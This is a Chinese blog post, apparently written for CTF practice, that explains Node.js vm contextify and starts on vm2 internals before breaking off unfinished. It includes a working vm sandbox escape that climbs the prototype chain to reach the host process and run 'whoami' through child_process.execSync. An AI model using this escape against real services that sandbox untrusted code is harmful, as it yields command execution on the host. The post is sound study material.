上个月底写了一半给咕了..看到GKCTF有道题涉及到了vm,顺便放出来吧

前段时间hfctf有一道vm2沙盒逃逸的题目,于是顺便研究下vm2的实现和沙盒逃逸的原理

vm

vm2是基于nodejs的内置模块vm的,所以先看看vm

代码示例

vm能够在一个新的V8虚拟环境中运行代码,看一个文档上的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const vm = require('vm');

const x = 1;

const context = { x: 2 };
vm.createContext(context); // Contextify the object.

const code = 'x += 40; var y = 17;';
// `x` and `y` are global variables in the context.
// Initially, x has the value 2 because that is the value of context.x.
vm.runInContext(code, context);

console.log(context.x); // 42
console.log(context.y); // 17

console.log(x); // 1; y is not defined.

contextify

概念

vm中有一个很重要的概念contextify,大致意思是当vm.createContext()被调用时,指定的contextObject(示例代码中的context)会与一个新的V8实例联系在一起,这个过程称为contextifying the object

具体实现

经过测试可以发现,vm会将一个指定的对象作为新的环境的全局对象(相当于正常情况下的global对象),这个对象拥有context的所有属性,同时还自动添加了一些内置的全局变量,比如ObjectFunction,这些属性不会被添加到context

在沙盒中可以用this访问该对象,手动给this添加的属性会被添加到context

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
const vm = require('vm');

const context = {
animal: 'cat',
count: 2
};

const script = new vm.Script(`this.test=123;this`); //手动给this添加属性,返回this
vm.createContext(context);
var result = script.runInContext(context);
console.log(result == context); //false,两者不是同一对象
console.log(Reflect.ownKeys(context)); //[ 'animal', 'count', 'test' ] 手动给this添加的属性也会被添加到context上
console.log(Reflect.ownKeys(result)); //自动添加的属性都是不可枚举属性,需要用Reflect.ownKeys取出,这些属性不会被添加到context上
/*
[ 'animal',
'count',
'Object',
'Function',
'Array',
'Number',
'parseFloat',
'parseInt',
'Infinity',
'NaN',
'undefined',
'Boolean',
'String',
'Symbol',
'Date',
'Promise',
'RegExp',
'Error',
'EvalError',
'RangeError',
'ReferenceError',
'SyntaxError',
'TypeError',
'URIError',
'JSON',
'Math',
'console',
'Intl',
'ArrayBuffer',
'Uint8Array',
'Int8Array',
'Uint16Array',
'Int16Array',
'Uint32Array',
'Int32Array',
'Float32Array',
'Float64Array',
'Uint8ClampedArray',
'BigUint64Array',
'BigInt64Array',
'DataView',
'Map',
'Set',
'WeakMap',
'WeakSet',
'Proxy',
'Reflect',
'decodeURI',
'decodeURIComponent',
'encodeURI',
'encodeURIComponent',
'escape',
'unescape',
'eval',
'isFinite',
'isNaN',
'SharedArrayBuffer',
'Atomics',
'BigInt',
'WebAssembly' ]
*/

这些添加的属性与global中的同名属性是不同的对象(内存中位置不同)

1
2
3
4
5
6
7
8
9
10
11
const vm = require('vm');

const context = {
animal: 'cat',
count: 2
};

const script = new vm.Script(`this`);
vm.createContext(context);
var result = script.runInContext(context);
console.log(result.Function == Function); //false

沙盒逃逸

虽然存在contextify,vm还是可以很轻松的逃逸出去,因为this.__proto__指向的是主环境的Object.prototype

1
2
3
4
5
6
7
8
9
10
11
const vm = require('vm');

const context = {
animal: 'cat',
count: 2
};

const script = new vm.Script(`this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()`);
vm.createContext(context);
var result = script.runInContext(context);
console.log(result);
  • 第一步this.constructor.constructor通过继承链最终拿到主环境的Function
  • this.constructor.constructor('return process')()构造了一个函数并执行,拿到主环境的process变量
  • 通过process.mainModule.require导入child_process模块,命令执行

vm2

代码示例

1
2
3
const {VM} = require('vm2');
new VM().run('this.constructor.constructor("return process")().exit()');
// Throws ReferenceError: process is not defined

可以看到vm沙盒逃逸的payload已经打不通了

vm2实现

这里只关注/lib/main.js 中的VM类和/lib/contextify.js

具体的代码就不贴了,太多了也没法贴…简单说一下

  • 使用vm创建新的v8虚拟环境
  • 在执行用户代码前先在新的V8虚拟环境中运行/lib/contextify.js
    • this__proto__修改为新环境中的Object.prototype,这也是为什么vm的exp打不通了
    • 引入了proxy,分为两种:
      • Contextify
      • Decontextify

发现vm2根本写不清楚…先咕了吧…